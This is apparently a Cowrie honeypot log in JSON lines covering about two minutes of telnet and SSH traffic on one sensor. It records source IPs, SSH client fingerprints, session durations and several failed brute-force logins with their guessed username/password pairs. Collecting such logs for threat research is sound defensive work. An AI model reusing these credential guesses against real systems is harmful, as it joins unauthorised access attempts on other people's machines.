{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":57402,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df413bb1125","protocol":"telnet","message":"New connection: 178.128.93.180:57402 (10.17.0.5:23) [session: 1df413bb1125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:09.915751Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:10.041493Z","src_ip":"156.245.246.50","session":"a6f80a513eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123321","message":"login attempt [root/aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:10.935760Z","src_ip":"156.245.246.50","session":"a6f80a513eed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":59798,"dst_ip":"10.17.0.5","dst_port":22,"session":"f34640cbb030","protocol":"ssh","message":"New connection: 103.122.221.179:59798 (10.17.0.5:22) [session: f34640cbb030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:11.778606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:11.784669Z","src_ip":"103.122.221.179","session":"f34640cbb030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:12.032736Z","src_ip":"103.122.221.179","session":"f34640cbb030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:12.157190Z","src_ip":"156.245.246.50","session":"a6f80a513eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kri1988","message":"login attempt [root/kri1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:12.774993Z","src_ip":"103.122.221.179","session":"f34640cbb030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:14.027109Z","src_ip":"103.122.221.179","session":"f34640cbb030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.68509340286255,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:23.020198Z","src_ip":"69.4.83.194","session":"b406079f2819","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.04506754875183,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:32.554439Z","src_ip":"69.4.83.194","session":"e000f1961323","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":49346,"dst_ip":"10.17.0.5","dst_port":23,"session":"6063bd8e03b6","protocol":"telnet","message":"New connection: 178.128.93.180:49346 (10.17.0.5:23) [session: 6063bd8e03b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:40.672992Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":53728,"dst_ip":"159.203.135.109","dst_port":23,"session":"23332d7dc18c","protocol":"telnet","message":"New connection: 79.139.59.21:53728 (159.203.135.109:23) [session: 23332d7dc18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:43.521591Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58492,"dst_ip":"159.203.135.109","dst_port":23,"session":"54a78ebd0954","protocol":"telnet","message":"New connection: 69.4.83.194:58492 (159.203.135.109:23) [session: 54a78ebd0954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:55.220577Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34436,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9b5d0608ca4","protocol":"telnet","message":"New connection: 69.4.83.194:34436 (159.203.135.109:23) [session: e9b5d0608ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:07.517158Z"}
{"eventid":"cowrie.session.closed","duration":65.27458572387695,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:15.190216Z","src_ip":"178.128.93.180","session":"1df413bb1125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":53858,"dst_ip":"159.203.135.109","dst_port":22,"session":"21625a5ef021","protocol":"ssh","message":"New connection: 182.52.90.106:53858 (159.203.135.109:22) [session: 21625a5ef021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:19.977965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:19.987197Z","src_ip":"182.52.90.106","session":"21625a5ef021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:20.253521Z","src_ip":"182.52.90.106","session":"21625a5ef021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123#","message":"login attempt [root/Admin@123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:21.342741Z","src_ip":"182.52.90.106","session":"21625a5ef021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:22.610798Z","src_ip":"182.52.90.106","session":"21625a5ef021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.35341739654541,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:28.573858Z","src_ip":"69.4.83.194","session":"54a78ebd0954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17726,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f4e2123391f","protocol":"ssh","message":"New connection: 194.59.206.2:17726 (10.17.0.5:22) [session: 7f4e2123391f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:33.394882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:33.398919Z","src_ip":"194.59.206.2","session":"7f4e2123391f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:33.490055Z","src_ip":"194.59.206.2","session":"7f4e2123391f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:33.584847Z","src_ip":"194.59.206.2","session":"7f4e2123391f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.56959271430969,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:40.086630Z","src_ip":"69.4.83.194","session":"e9b5d0608ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49044,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5b4e58ce131","protocol":"telnet","message":"New connection: 69.4.83.194:49044 (159.203.135.109:23) [session: f5b4e58ce131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:40.924441Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":58286,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc6cb4ba79be","protocol":"ssh","message":"New connection: 156.245.246.50:58286 (10.17.0.5:22) [session: cc6cb4ba79be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:42.106419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:42.111353Z","src_ip":"156.245.246.50","session":"cc6cb4ba79be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:42.325950Z","src_ip":"156.245.246.50","session":"cc6cb4ba79be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mgeweb","password":"mgeweb","message":"login attempt [mgeweb/mgeweb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:43.208673Z","src_ip":"156.245.246.50","session":"cc6cb4ba79be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:44.426672Z","src_ip":"156.245.246.50","session":"cc6cb4ba79be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":18168,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cdca44df12b","protocol":"ssh","message":"New connection: 38.93.206.2:18168 (159.203.135.109:22) [session: 5cdca44df12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:46.348496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:46.354208Z","src_ip":"38.93.206.2","session":"5cdca44df12b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:46.406018Z","src_ip":"38.93.206.2","session":"5cdca44df12b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yulya","message":"login attempt [root/yulya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:46.559113Z","src_ip":"38.93.206.2","session":"5cdca44df12b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:47.640406Z","src_ip":"38.93.206.2","session":"5cdca44df12b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.16832661628723,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:57.841172Z","src_ip":"178.128.93.180","session":"6063bd8e03b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56586,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e166bd4d95f","protocol":"telnet","message":"New connection: 69.4.83.194:56586 (159.203.135.109:23) [session: 6e166bd4d95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:13:58.056510Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56800,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dc064cd74f9","protocol":"telnet","message":"New connection: 69.4.83.194:56800 (159.203.135.109:23) [session: 1dc064cd74f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:01.599871Z"}
{"eventid":"cowrie.session.closed","duration":34.610031843185425,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:15.534360Z","src_ip":"69.4.83.194","session":"f5b4e58ce131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":55384,"dst_ip":"159.203.135.109","dst_port":22,"session":"b84c40ceebae","protocol":"ssh","message":"New connection: 103.77.242.62:55384 (159.203.135.109:22) [session: b84c40ceebae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:31.420412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:31.424995Z","src_ip":"103.77.242.62","session":"b84c40ceebae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:31.658250Z","src_ip":"103.77.242.62","session":"b84c40ceebae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.02554726600647,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:32.081957Z","src_ip":"69.4.83.194","session":"6e166bd4d95f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"maks2005","message":"login attempt [root/maks2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:32.357164Z","src_ip":"103.77.242.62","session":"b84c40ceebae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:33.597009Z","src_ip":"103.77.242.62","session":"b84c40ceebae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42876,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aba3074ceaf","protocol":"telnet","message":"New connection: 69.4.83.194:42876 (159.203.135.109:23) [session: 0aba3074ceaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:14:33.618010Z"}
